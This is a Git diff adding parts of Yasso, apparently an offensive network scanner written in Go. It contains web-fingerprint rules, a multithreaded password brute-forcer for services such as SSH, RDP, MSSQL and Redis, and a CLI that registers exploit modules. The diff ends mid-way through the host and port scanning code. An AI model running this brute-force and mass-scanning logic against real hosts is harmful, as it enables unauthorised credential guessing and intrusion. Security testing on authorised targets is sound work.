{1, "Surfilter-SURFNX-Security-Gateway", "body", "", InStr{"(internal/templates/surfilter/images/logo_big.png|/internal/templates/surfilter/css/)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Suyaxing-Campus-Management-System", "body", "", InStr{"(/ws2004/public/)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Swagger", "body", "", InStr{"(<div id=\"swagger-ui\"></div>)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Swagger", "body", "", InStr{"(swagger-ui.css|swagger-ui.js)", "", ""}, ReqHttp{"", "", nil, ""}},
@@ -3974,7 +3979,6 @@ var RuleData = []RuleLab{
{1, "TP_LINK-TL-WA801ND", "header", "", InStr{"", "(tp-link wireless wa801nd|realm=\"tp-link wireless n access point wa801nd)", ""}, ReqHttp{"", "", nil, ""}},
{1, "TP_LINK-TL-WDR7500", "header", "", InStr{"", "(realm=\"tp-link wireless wdr7500|realm=\"tp-link wireless dual band gigabit router wdr7500)", ""}, ReqHttp{"", "", nil, ""}},
{1, "TP_LINK-TL-WDR7661", "body", "", InStr{"(<title>TL-WDR7661(.*)</title>|var proName=\"TL-WDR7661)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "TP-LINK-Wireless-N-Router-WR941N", "header", "", InStr{"", "(realm=\"tp-link wireless n router wr941n|tp-link wireless wr941n)", ""}, ReqHttp{"", "", nil, ""}},
{1, "TP-LINK-Wireless-Router", "body", "", InStr{"(javascript:gourl('http://www.tp-link.com.cn');)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "TP-LINK-Wireless-Router", "header", "", InStr{"", "(tp-link|wireless)", ""}, ReqHttp{"", "", nil, ""}},
@@ -4220,7 +4224,7 @@ var RuleData = []RuleLab{
{1, "VOS-VOS2009", "body", "", InStr{"(content=\"vos2009, voip, voip运营支撑系统, 软交换\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "VoteManager", "body", "", InStr{"(content=\"微平台投票系统|content=\"微平台投票管理系统|<a href=\"http://www.cdrbp.cn\">微信数字投票)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "VP-ASP", "body", "", InStr{"(<a href=\"http://www.vpasp.com\">|src=\"vs350.js|shopdisplayproducts.asp?id=)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "vpn358System", "body", "", InStr{"(class=\"form-actions j_add_ip_actions\"|href=\"/lib/bootstrap/ico/favicon.ico\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "vpn358System", "body", "", InStr{"(class=\"form-actions j_add_ip_actions\"|href=\"/internal/bootstrap/ico/favicon.ico\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "VPON", "body", "", InStr{"(/ctrl_ver.js)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "VRV-Desktop-Application-System", "body", "", InStr{"(<span id=\"lblvalidcompany\" class=\"validcompany\">vrv|var vver = $('#hidverify').val();)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "VRV-IM", "body", "", InStr{"(<h3>连豆豆pc客户端 </h3>|href=\"http://im.vrv.cn/server-securitycenter/password/goretrieval.vrv|class=\"loginusername\" value=\"\" placeholder=\"连豆豆账号/邮箱/手机号|class=\"wj-text wj-title\">下载信源豆豆</p>)", "", ""}, ReqHttp{"", "", nil, ""}},
@@ -4261,7 +4265,7 @@ var RuleData = []RuleLab{
{3, "Weaver-e-Bridge", "body", "", InStr{"(content=\"泛微云桥e-bridge\")", "", ""}, ReqHttp{"", "", nil, ""}},
{3, "Weaver-EMobile", "body", "", InStr{"(content=\"weaver e-mobile\"|e-mobile&nbsp;|action=\"/verifylogin.do|/images/login_logo@2x.png|window.apiprifix = \"/emp\";)", "", ""}, ReqHttp{"", "", nil, ""}},
{3, "Weaver-OA", "body|header", "", InStr{"(/wui/common/css/w7ovfont.css|typeof poppedwindow|client/jquery.client_wev8.js|/theme/ecology8/jquery/js/zdialog_wev8.js|ecology8/lang/weaver_lang_7_wev8.js)", "(testbancookie)", ""}, ReqHttp{"", "", nil, ""}},
{1, "web2Project", "body|header", "", InStr{"(</head><body>fatal error. you haven't created a config file yet.<br/><a href=)", "(set-cookie web2project)", ""}, ReqHttp{"", "", nil, ""}},
{1, "web2Project", "body|header", "", InStr{"(</head><body>fatal error. you haven't created a configs file yet.<br/><a href=)", "(set-cookie web2project)", ""}, ReqHttp{"", "", nil, ""}},
{1, "Web2py", "body|header", "", InStr{"(<div id=\"serendipityleftsidebar\">)", "(x-powered-by web2py)", ""}, ReqHttp{"", "", nil, ""}},
{1, "Webalizer-Log", "body", "", InStr{"(<a href=\"http://www.webalizer.org|<!-- generated by the webalizer ver|<!-- webalizer version)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "WebAsyst-Shop-Script", "body", "", InStr{"(<a href=\"http://www.shop-script.com|powered by webasyst shop-script <a href=\"http://www.shop-script.com/\" style=\"font-weight: normal\">shopping cart software</a>)", "", ""}, ReqHttp{"", "", nil, ""}},
@@ -4546,7 +4550,7 @@ var RuleData = []RuleLab{
{1, "zoomnetcom-WLAN", "body", "", InStr{"(var url=\"resetwebsvr.php?act=reset\";|中太数据 - 集中无线控制器)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Zoom-Search-Engine", "body", "", InStr{"(name=\"zoom_query\")", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Zope", "header", "", InStr{"", "(zope|server: zope|x-debug-frontend-key: zope)", ""}, ReqHttp{"", "", nil, ""}},
{1, "Zotonic", "body", "", InStr{"(powered by: zotonic|/lib/js/apps/zotonic-1.0)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Zotonic", "body", "", InStr{"(powered by: zotonic|/internal/js/apps/zotonic-1.0)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "Zscaler-FIREWALL", "header", "", InStr{"", "(set-cookie: _sm_au_d)", ""}, ReqHttp{"", "", nil, ""}},
{1, "Z-Suite", "body", "", InStr{"(contentdiv imgposition desw)", "", ""}, ReqHttp{"", "", nil, ""}},
{1, "ZTE-BAVO-Multimedia-Business-Center", "body", "", InStr{"(bavo 多媒体业务中心|/zxms80css.css)", "", ""}, ReqHttp{"", "", nil, ""}},

120
core/brute/brute.go Normal file
View File

@@ -0,0 +1,120 @@
package brute
import (
"Yasso/config"
"Yasso/core/logger"
"fmt"
"math"
"reflect"
"strings"
"sync"
)
type Brute struct {
user []string // 被枚举的用户名
pass []string // 被枚举的密码
bruteMethod interface{} // 枚举方法
service string // 服务命令
serviceConn config.ServiceConn // 服务连接
thread int // 执行爆破的线程数
output string // 结果输出路径
noBrute bool // 是否执行爆破
}
func NewBrute(user, pass []string, method interface{}, service string, serviceConn config.ServiceConn, thread int, noBrute bool, output string) *Brute {
return &Brute{
user: user,
pass: pass,
bruteMethod: method,
output: output,
service: service,
thread: thread,
serviceConn: serviceConn,
noBrute: noBrute,
}
}
// RunEnumeration 开始蛮力枚举
func (b *Brute) RunEnumeration() {
if b.noBrute == false {
var wg sync.WaitGroup
if len(b.user) == 0 {
b.user = config.UserDict[b.service] // 获取对应端口的user列表
}
if len(b.pass) == 0 {
b.pass = config.PassDict
}
var t int
if len(b.pass) <= b.thread {
t = len(b.pass)
} else {
t = b.thread
}
// 分割密码
num := int(math.Ceil(float64(len(b.pass)) / float64(b.thread))) // 每个协程的user数量
// 分割用户名
all := map[int][]string{}
for i := 1; i <= t; i++ {
for j := 0; j < num; j++ {
tmp := (i-1)*num + j
if tmp < len(b.pass) {
all[i] = append(all[i], b.pass[tmp])
}
}
}
for i := 1; i <= t; i++ {
wg.Add(1)
tmp := all[i]
go func(tmp []string) {
defer wg.Done()
for _, p := range tmp {
for _, u := range b.user {
// 开始爆破,带有用户名密码的服务
if strings.Contains(p, "{user}") {
p = strings.ReplaceAll(p, "{user}", u)
}
if b.export(b.call(b.serviceConn, u, p), b.serviceConn.Hostname, b.serviceConn.Port, b.service, u, p, b.output) {
return
}
}
}
}(tmp)
}
wg.Wait()
}
}
// call 函数调用,爆破将会调用该模块去执行操作操作
func (b *Brute) call(params ...interface{}) []reflect.Value {
f := reflect.ValueOf(b.bruteMethod)
if len(params) != f.Type().NumIn() {
logger.Fatal(fmt.Sprintf("call func %v has an error", b.bruteMethod))
return nil
}
args := make([]reflect.Value, len(params))
for k, param := range params {
if param == "" || param == 0 {
continue
}
args[k] = reflect.ValueOf(param)
}
return f.Call(args)
}
// 结果验证
func (b *Brute) export(v []reflect.Value, host string, port int, service, user, pass string, output string) bool {
var mutex sync.Mutex
for _, value := range v {
switch value.Kind() {
case reflect.Bool:
if value.Bool() == true {
mutex.Lock()
logger.Success(fmt.Sprintf("brute %v:%v success [%v:%v][%v]", host, port, user, pass, service))
logger.JSONSave(host, logger.WeakPassSave, service, map[string]string{user: pass})
mutex.Unlock()
return true
}
}
}
return false
}

114
core/flag/flag.go Normal file
View File

@@ -0,0 +1,114 @@
package flag
import (
"Yasso/core/logger"
"Yasso/core/plugin"
"Yasso/pkg/exploit"
"github.com/spf13/cobra"
"os"
"time"
)
type allFlags struct {
Hosts string // 全局变量 标识ip列表或文件路径
Ports string // 全局变量 标识扫描的端口
Timeout int // 全局变量 标识超时时间
NoCrack bool // 全局变量 标识all模块是否开启爆破
NoAlive bool // 全局变量 是否采用ping来判断存活主机
User string // 全局变量 标识all模块爆破使用用户名字典
Pass string // 全局变量 标识all模块爆破使用密码字典
Thread int // 全局变量 标识all模块扫描时的线程数
NoService bool // 全局变量 标识all模块是否探测服务
NoVulcan bool // 全局变量 标识all模块是否进行主机层漏扫
}
type BurpFlags struct {
Hosts string // 全局变量标识ip列表或文件路径
Method string // 爆破的服务名称
User string // 爆破时采用的用户字典
Pass string // 爆破时采用的密码字典
Thread int // 爆破时采用的线程数
Timeout int // 爆破的超时时间
IsAlive bool // 爆破前是否检测存活
}
var burp BurpFlags
var all allFlags
var rootCmd = &cobra.Command{
Use: "Yasso",
Short: "\n_____.___. ____ ___\n\\__ | |____ ______ __________\\ \\/ /\n / | \\__ \\ / ___// ___/ _ \\\\ / \n \\____ |/ __ \\_\\___ \\ \\___ ( <_> ) \\ \n / ______(____ /____ >____ >____/___/\\ \\\n \\/ \\/ \\/ \\/ \\_/\n",
}
var allCmd = &cobra.Command{
Use: "all",
Short: "Use all scanner module (.attention) Traffic is very big",
Run: func(cmd *cobra.Command, args []string) {
if all.Hosts == "" {
_ = cmd.Help()
return
}
scanner := plugin.NewAllScanner(all.Hosts, all.Ports, all.NoAlive, all.NoCrack, all.User, all.Pass, all.Thread, time.Duration(all.Timeout)*1000*time.Millisecond, all.NoService, all.NoVulcan)
scanner.RunEnumeration()
},
}
var serviceCmd = &cobra.Command{
Use: "service",
Short: "Detection or blasting services by module",
Run: func(cmd *cobra.Command, args []string) {
if burp.Hosts == "" {
_ = cmd.Help()
return
}
plugin.BruteService(burp.User, burp.Pass, burp.Hosts, burp.Method, burp.Thread, time.Duration(burp.Timeout)*1000*time.Millisecond, burp.IsAlive)
},
}
var ExpCmd = &cobra.Command{
Use: "exploit",
Short: "Exploits to attack the service",
Run: func(cmd *cobra.Command, args []string) {
if cmd.HasSubCommands() {
_ = cmd.Help()
}
},
}
func init() {
rootCmd.PersistentFlags().StringVar(&logger.LogFile, "output", "result.txt", "set logger file")
allCmd.Flags().StringVar(&logger.LogJson, "json", "", "设置json格式输出文件")
allCmd.Flags().StringVarP(&all.Hosts, "hosts", "H", "", "设置扫描的目标参数(.eg) \n[192.168.248.1/24]\n[192.168.248.1-255]\n[example.txt]")
allCmd.Flags().StringVar(&all.Ports, "ports", "", "设置扫描的端口参数(.eg) null将采用默认端口号 top 1000")
allCmd.Flags().IntVar(&all.Timeout, "timeout", 1, "设置扫描的超时时间 默认1秒")
allCmd.Flags().BoolVar(&all.NoCrack, "no-crack", false, "设置扫描时是否爆破脆弱服务")
allCmd.Flags().BoolVar(&all.NoAlive, "no-alive", false, "设置扫描时是否先检测主机存活")
allCmd.Flags().StringVar(&all.User, "user-dic", "", "设置扫描时爆破采用的用户名字典 (.eg) null将采用默认用户名字典")
allCmd.Flags().StringVar(&all.Pass, "pass-dic", "", "设置扫描时爆破采用的密码字典 (.eg) null将采用默认密码字典")
allCmd.Flags().IntVar(&all.Thread, "thread", 500, "设置扫描时的扫描线程 (.eg) 默认500 线程")
allCmd.Flags().BoolVar(&all.NoService, "no-service", false, "设置扫描时是否探测服务")
allCmd.Flags().BoolVar(&all.NoVulcan, "no-vuln", false, "设置扫描时是否检测主机层漏洞")
rootCmd.AddCommand(allCmd)
serviceCmd.Flags().StringVarP(&burp.Hosts, "hosts", "H", "", "设置扫描的目标参数(.eg) \n[192.168.248.1/24]\n[192.168.248.1-255]\n[example.txt]")
serviceCmd.Flags().StringVar(&burp.Method, "module", "", "指定要爆破的服务名称(.eg) \n[mssql,ftp,ssh,mysql,rdp,postgres,redis,winrm,smb,mongo]\n以逗号分割,可同时爆破多个服务(--module ssh:22,mysql:3306,rdp:3389)")
serviceCmd.Flags().IntVar(&burp.Thread, "thread", 500, "设置扫描时的扫描线程 (.eg) 默认500 线程")
serviceCmd.Flags().StringVar(&burp.User, "user-dic", "", "设置扫描时爆破采用的用户名字典 (.eg) null将采用默认用户名字典")
serviceCmd.Flags().StringVar(&burp.Pass, "pass-dic", "", "设置扫描时爆破采用的密码字典 (.eg) null将采用默认密码字典")
serviceCmd.Flags().IntVar(&burp.Timeout, "timeout", 1, "设置爆破的超时时间 默认1秒")
serviceCmd.Flags().BoolVar(&burp.IsAlive, "is-alive", true, "爆破前是否进行ping检测存活")
rootCmd.AddCommand(serviceCmd)
rootCmd.AddCommand(ExpCmd)
// 利用模块命令
ExpCmd.AddCommand(exploit.MssqlCmd)
ExpCmd.AddCommand(exploit.SshCmd)
ExpCmd.AddCommand(exploit.WinRmCmd)
ExpCmd.AddCommand(exploit.RedisCmd)
ExpCmd.AddCommand(exploit.SunLoginCmd)
ExpCmd.AddCommand(exploit.LdapReaperCmd)
}
func Execute() {
if err := rootCmd.Execute(); err != nil {
os.Exit(0)
}
}

199
core/logger/logger.go Normal file
View File

@@ -0,0 +1,199 @@
package logger
import (
"Yasso/config"
"encoding/json"
"fmt"
"github.com/gookit/color"
"os"
"sync"
)
var (
Cyan = color.Cyan.Render
Red = color.Red.Render
LightGreen = color.Style{color.Green, color.OpBold}.Render
LightRed = color.Style{color.Red, color.OpBold}.Render
)
const (
PortSave = 1
HostSave = 2
WeakPassSave = 3
InformationSave = 4
VulnerabilitySave = 5
)
var LogFile string
var LogJson string
var mutex sync.Mutex
func Info(in ...interface{}) {
mutex.Lock()
var all []interface{}
for k, v := range in {
if k == len(in)-1 {
all = append(all, fmt.Sprintf("%v", v))
} else {
all = append(all, fmt.Sprintf("%v ", v))
}
}
fmt.Println(fmt.Sprintf("[%s] ", Cyan("*")) + fmt.Sprint(all...))
file, err := os.OpenFile(LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666)
if err != nil {
Fatal("open file has an error", err.Error())
return
}
defer file.Close()
_, _ = file.WriteString(fmt.Sprintf("[*] " + fmt.Sprint(all...) + "\n"))
mutex.Unlock()
}
func Success(in ...interface{}) {
mutex.Lock()
var all []interface{}
for k, v := range in {
if k == len(in)-1 {
all = append(all, fmt.Sprintf("%v", v))
} else {
all = append(all, fmt.Sprintf("%v ", v))
}
}
fmt.Println(fmt.Sprintf("[%s] ", LightGreen("+")) + fmt.Sprint(all...))
file, err := os.OpenFile(LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666)
if err != nil {
Fatal("open file has an error", err.Error())
return
}
defer file.Close()
_, err = file.WriteString(fmt.Sprintf("[+] " + fmt.Sprint(all...) + "\n"))
mutex.Unlock()
}
func Fatal(in ...interface{}) {
var all []interface{}
for k, v := range in {
if k == len(in)-1 {
all = append(all, fmt.Sprintf("%v", v))
} else {
all = append(all, fmt.Sprintf("%v ", v))
}
}
fmt.Println(fmt.Sprintf("[%s] ", Red("#")) + fmt.Sprint(all...))
}
// JSONSave 保存json格式数据
func JSONSave(host string, t int, in ...interface{}) {
if LogJson != "" {
switch t {
case VulnerabilitySave:
for _, v := range config.JSONSave {
// 服务存在
if v.Host == host {
v.Vulnerability = append(v.Vulnerability, in[0].(string))
}
}
case PortSave:
// 端口存储
var flag = false
for _, v := range config.JSONSave {
// 服务存在
if v.Host == host {
v.Port = in[0].([]int) // 将端口存储
flag = true
}
}
if flag == false {
config.JSONSave = append(config.JSONSave, &config.Format{
Host: host,
})
for _, v := range config.JSONSave {
// 服务存在
if v.Host == host {
v.Port = in[0].([]int) // 将端口存储
flag = true
}
}
}
case HostSave:
// 主机存储
config.JSONSave = append(config.JSONSave, &config.Format{
Host: host,
})
case WeakPassSave:
// 这里存储json的服务弱口令
for _, v := range config.JSONSave {
// 服务名称已经有了,那么将口令加到它的WeakPass种
// 如果主机之前也是存活的
if v.Host == host {
// 遍历主机的服务列表
var flag = false
for _, value := range v.Service {
if value.Name == in[0].(string) { // 服务名
value.WeakPass = append(value.WeakPass, in[1].(map[string]string))
flag = true // 证明服务存在
}
}
// 证明host存在
if flag == false {
v.Service = append(v.Service, &config.Service{
Name: in[0].(string), //服务名
WeakPass: []map[string]string{in[1].(map[string]string)},
})
}
// 证明host存在
if flag == false {
v.Service = append(v.Service, &config.Service{
Name: in[0].(string), //服务名
WeakPass: []map[string]string{in[1].(map[string]string)},
})
}
}
}
case 4:
// 这里information字段
for _, v := range config.JSONSave {
// 服务名称已经有了,那么将口令加到它的WeakPass种
// 如果主机之前也是存活的
if v.Host == host {
// 遍历主机的服务列表
var flag = false
for _, value := range v.Service {
if value.Name == in[0].(string) { // 服务名
value.Information = append(value.Information, in[1].(string))
flag = true // 证明服务存在
}
}
// 证明host存在
if flag == false {
v.Service = append(v.Service, &config.Service{
Name: in[0].(string), //服务名
Information: []string{in[1].(string)},
})
}
}
}
}
// 将以json格式保存,文件将会保存全局变量存储的结果集
}
}
func LoggerSave() {
if LogJson != "" {
body, err := json.Marshal(config.JSONSave)
if err != nil {
Fatal("save json marshal failed", err.Error())
return
}
filePtr, err := os.Create(LogJson)
if err != nil {
fmt.Println("文件创建失败", err.Error())
return
}
defer filePtr.Close()
// 创建Json编码器
_, _ = filePtr.Write(body)
}
}

301
core/parse/parse_ip.go Normal file
View File

@@ -0,0 +1,301 @@
package parse
import (
"Yasso/core/logger"
"bufio"
"errors"
"fmt"
"github.com/projectdiscovery/cdncheck"
"net"
"os"
"path"
"path/filepath"
"regexp"
"sort"
"strconv"
"strings"
"sync"
)
// ReadFile 从文件中读取数据
func ReadFile(filename string) ([]string, error) {
file, err := os.Open(filename)
if err != nil {
logger.Fatal("open file has an error", err.Error())
return nil, err
}
defer file.Close()
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
var re []string
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
re = append(re, text)
}
}
re = Duplicate(re) // 去重
return re, nil
}
// ConvertDomainToIpAddress 将域名转换成ip地址
func ConvertDomainToIpAddress(domains []string, thread int) ([]string, error) {
checkChan := make(chan string, 100)
var wg sync.WaitGroup
var re []string
for i := 0; i < thread; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for host := range checkChan {
if strings.Count(host, ".") == 3 && len(strings.Split(host, ":")) == 2 {
// 这种是带有端口的ip地址
re = append(re, host)
continue
}
ip, err := net.LookupHost(host)
if err != nil {
continue
}
if ip != nil {
// 证明存在cdn直接丢掉即可(不跑带有cdn的域名)
if len(ip) >= 2 {
logger.Info(fmt.Sprintf("%s has cdn %v", host, ip[:]))
continue
} else {
for _, i := range ip {
re = append(re, i)
}
}
}
}
}()
}
for _, domain := range domains {
if strings.Contains(domain, "http://") {
domain = strings.TrimPrefix(domain, "http://")
}
if strings.Contains(domain, "https://") {
domain = strings.TrimPrefix(domain, "https://")
}
checkChan <- domain
}
close(checkChan)
wg.Wait()
re = Duplicate(re) // 去重
return re, nil
}
// cdnFilter cdn过滤器
func cdnFilter(ip string, client *cdncheck.Client) string {
if found, _, err := client.Check(net.ParseIP(ip)); found && err == nil {
return ip
}
return ""
}
// Duplicate 去重
func Duplicate(slc []string) []string {
var re []string
temp := map[string]byte{}
for _, v := range slc {
l := len(temp)
temp[v] = 0
if len(temp) != l {
re = append(re, v)
}
}
return re
}
// RegIpv4Address 匹配ipv4
func RegIpv4Address(context string) string {
matched, err := regexp.MatchString("((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})(\\.((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})){3}", context)
if err != nil {
return ""
}
if matched {
return context
}
return ""
}
func HandleIps(ip string) ([]string, error) {
var Unprocessed []string
var err error
var basic []string
if strings.Contains(ip, ".txt") {
if strings.ToLower(path.Ext(filepath.Base(ip))) == ".txt" {
// 文件后缀为.txt的话,我们按照文件解析并获取数据结果
Unprocessed, err = ReadFile(ip)
if err != nil {
return []string{}, err
}
}
/*
这里获取到的数据格式可能为
192.168.248.1/24
192.168.248.1-155
www.baidu.com
192.168.248.1:3389
https://www.baidu.com
*/
// 第一波解析开始解析ip地址格式
for _, i := range Unprocessed {
switch {
case RegIpv4Address(i) != "" && (strings.Count(i, "/24") == 1 || strings.Count(i, "/16") == 1):
temp, err := ConvertIpFormatA(i)
if err != nil {
logger.Fatal("parse ip address has an error", err.Error())
return []string{}, err
}
basic = append(basic, temp...)
case RegIpv4Address(i) != "" && strings.Count(i, "-") == 1 && !strings.Contains(i, "/"):
fmt.Println(i)
temp, err := ConvertIpFormatB(i)
if err != nil {
logger.Fatal("parse ip address has an error", err.Error())
return []string{}, err
}
basic = append(basic, temp...)
case strings.Contains(i, "https://") || strings.Contains(i, "http://"):
if strings.Contains(i, "https://") {
basic = append(basic, strings.ReplaceAll(i, "https://", ""))
}
if strings.Contains(i, "http://") {
basic = append(basic, strings.ReplaceAll(i, "https", ""))
}
default:
basic = append(basic, i)
}
}
// 第一波解析完成,开始第二波解析,解析域名
basic = Duplicate(basic) // 第一次去重
basic, err = ConvertDomainToIpAddress(basic, 100)
if err != nil {
logger.Fatal("parse domain has an error", err.Error())
return nil, err
}
basic = Duplicate(basic) // 第二次去重
} else {
basic, err = ConvertIpFormatAll(ip)
if err != nil {
logger.Fatal("parse ip address has an error", err.Error())
return []string{}, err
}
}
// 二次筛选
var newBasic []string
for _, ip := range basic {
if strings.Contains(ip, "/") {
newBasic = append(newBasic, strings.Split(ip, "/")[0])
} else {
newBasic = append(newBasic, ip)
}
}
// 对获取到的ip地址进行排序进行后续操作
sort.Strings(newBasic)
return newBasic, err
}
// ConvertIpFormatA 不解析192.168.248.1/8格式目前
func ConvertIpFormatA(ip string) ([]string, error) {
var ip4 = net.ParseIP(strings.Split(ip, "/")[0])
if ip4 == nil {
return []string{}, errors.New("not an ipv4 address")
}
var mark = strings.Split(ip, "/")[1]
var temp []string
var err error
switch mark {
case "24":
var ip3 = strings.Join(strings.Split(ip[:], ".")[0:3], ".")
for i := 0; i <= 255; i++ {
temp = append(temp, ip3+"."+strconv.Itoa(i))
}
err = nil
case "16":
var ip2 = strings.Join(strings.Split(ip[:], ".")[0:2], ".")
for i := 0; i <= 255; i++ {
for j := 0; j <= 255; j++ {
temp = append(temp, ip2+"."+strconv.Itoa(i)+"."+strconv.Itoa(j))
}
}
err = nil
default:
temp = []string{}
err = errors.New("not currently supported")
}
return temp, err
}
func ConvertIpFormatB(ip string) ([]string, error) {
var ip4 = strings.Split(ip, "-")
var ipA = net.ParseIP(ip4[0])
if ip4 == nil {
return []string{}, errors.New("not an ipv4 address")
}
var temp []string
if len(ip4[1]) < 4 {
iprange, err := strconv.Atoi(ip4[1])
if ipA == nil || iprange > 255 || err != nil {
return []string{}, errors.New("input format is not ccorrect")
}
var splitip = strings.Split(ip4[0], ".")
ip1, err1 := strconv.Atoi(splitip[3])
ip2, err2 := strconv.Atoi(ip4[1])
prefixip := strings.Join(splitip[0:3], ".")
if ip1 > ip2 || err1 != nil || err2 != nil {
return []string{}, errors.New("input format is not ccorrect")
}
for i := ip1; i <= ip2; i++ {
temp = append(temp, prefixip+"."+strconv.Itoa(i))
}
} else {
var splitip1 = strings.Split(ip4[0], ".")
var splitip2 = strings.Split(ip4[1], ".")
if len(splitip1) != 4 || len(splitip2) != 4 {
return []string{}, errors.New("input format is not ccorrect")
}
start, end := [4]int{}, [4]int{}
for i := 0; i < 4; i++ {
ip1, err1 := strconv.Atoi(splitip1[i])
ip2, err2 := strconv.Atoi(splitip2[i])
if ip1 > ip2 || err1 != nil || err2 != nil {
return []string{}, errors.New("input format is not ccorrect")
}
start[i], end[i] = ip1, ip2
}
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
for num := startNum; num <= endNum; num++ {
ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff)
temp = append(temp, ip)
}
}
return temp, nil
}
func ConvertIpFormatAll(ip string) ([]string, error) {
reg := regexp.MustCompile(`[a-zA-Z]+`)
switch {
case strings.Count(ip, "/") == 1:
return ConvertIpFormatA(ip)
case strings.Count(ip, "-") == 1:
return ConvertIpFormatB(ip)
case reg.MatchString(ip):
_, err := net.LookupHost(ip)
if err != nil {
return []string{}, err
}
return []string{ip}, nil
default:
var isip = net.ParseIP(ip)
if isip == nil {
return []string{}, errors.New("input format is not ccorrect")
}
return []string{ip}, nil
}
}

50
core/parse/parse_port.go Normal file
View File

@@ -0,0 +1,50 @@
package parse
import (
"strconv"
"strings"
)
// HandlePorts 解析端口格式
func HandlePorts(ports string) ([]int, error) {
var scanPorts []int
slices := strings.Split(ports, ",")
for _, port := range slices {
port = strings.Trim(port, " ")
upper := port
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
if len(ranges) < 2 {
continue
}
startPort, _ := strconv.Atoi(ranges[0])
endPort, _ := strconv.Atoi(ranges[1])
if startPort < endPort {
port = ranges[0]
upper = ranges[1]
} else {
port = ranges[1]
upper = ranges[0]
}
}
start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ {
scanPorts = append(scanPorts, i)
}
}
scanPorts = RemoveDuplicate(scanPorts)
return scanPorts, nil
}
func RemoveDuplicate(old []int) []int {
result := make([]int, 0, len(old))
temp := map[int]struct{}{}
for _, item := range old {
if _, ok := temp[item]; !ok {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}

447
core/plugin/all.go Normal file
View File

@@ -0,0 +1,447 @@
package plugin
import (
"Yasso/config"
"Yasso/config/banner"
"Yasso/core/brute"
"Yasso/core/logger"
"Yasso/core/parse"
"Yasso/pkg/webscan"
"context"
"fmt"
"sort"
"strconv"
"strings"
"sync"
"time"
)
type scannerAll struct {
ip string // 需要解析的ip列表或者文件
port string // 需要解析的端口列表
noAlive bool // 是否探测存活
noBrute bool // 是否进行爆破
userPath string // 爆破所需的user字典路径
passPath string // 爆破所需的pass字典路径
thread int // 扫描所需线程数
timeout time.Duration // 爆破的超时数
noService bool // 是否进行服务的探测包括web
noVulcan bool // 是否进行主机层漏洞扫描
}
func NewAllScanner(ip, port string, isAlive, isBrute bool, user, pass string, thread int, timeout time.Duration, noService bool, noVulcan bool) *scannerAll {
return &scannerAll{
ip: ip,
port: port,
noAlive: isAlive,
noBrute: isBrute,
userPath: user,
passPath: pass,
thread: thread,
timeout: timeout,
noService: noService,
noVulcan: noVulcan,
}
}
// RunEnumeration 执行程序
func (s *scannerAll) RunEnumeration() {
banner.Banner()
defer func() {
logger.Info("Yasso scan complete")
}()
if s.ip == "" {
logger.Fatal("need ips to parse")
return
}
// 1. 解析用户的ip列表
ips, err := parse.HandleIps(s.ip)
if err != nil {
logger.Fatal("parse ips has an error", err.Error())
return
}
// 2.解析用户的port列表
var ports []int
if s.port == "" {
ports = config.DefaultScannerPort
} else {
ports, err = parse.HandlePorts(s.port)
if err != nil {
logger.Fatal("parse ports has an error", err.Error())
return
}
}
var user []string
var pass []string
// 3.解析用户的字典,没有字典的话,就采用默认的字典
if s.userPath != "" {
user, err = parse.ReadFile(s.userPath)
if err != nil {
logger.Fatal("parse user dict file has an error")
return
}
}
if s.passPath != "" {
pass, err = parse.ReadFile(s.passPath)
if err != nil {
logger.Fatal("parse user dict file has an error")
return
}
return
} else {
pass = config.PassDict
}
// 4. 解析完成后通过isAlive判断存活这里采用并发方式
var wg sync.WaitGroup
var mutex sync.Mutex
var ipChannel = make(chan string, 1000)
var port7 []int = []int{139, 445, 135, 22, 23, 21, 3389}
var ipAlive []string
if s.noAlive == false {
for i := 0; i < s.thread; i++ {
wg.Add(1)
go func(ctx context.Context) {
defer wg.Done()
for ip := range ipChannel {
if ping(ip) == true {
logger.Info(fmt.Sprintf("%v is alive (ping)", ip))
logger.JSONSave(ip, logger.HostSave) // json存储
ipAlive = append(ipAlive, ip)
} else {
// 这里尝试探测7个常用端口如果有一个开放则证明ip也是存活网段
for _, p := range port7 {
if tcpConn(ip, p) == true {
logger.Info(fmt.Sprintf("%v is alive (tcp)", ip))
logger.JSONSave(ip, logger.HostSave) // json存储
ipAlive = append(ipAlive, ip)
break
}
}
}
}
}(context.Background())
}
for _, ip := range ips {
// 带有端口的不进行扫描,直接加入
if strings.Contains(ip, ":") {
ipAlive = append(ipAlive, ip)
continue
} else {
ipChannel <- ip
}
}
close(ipChannel) // 防止死锁
wg.Wait()
} else {
ipAlive = ips
}
// 5.扫描完成后,做端口扫描,同样是高并发
ipChannel = make(chan string, 1000) // 二次复用
var portAlive = make(map[string][]int)
for i := 0; i < s.thread; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for ip := range ipChannel {
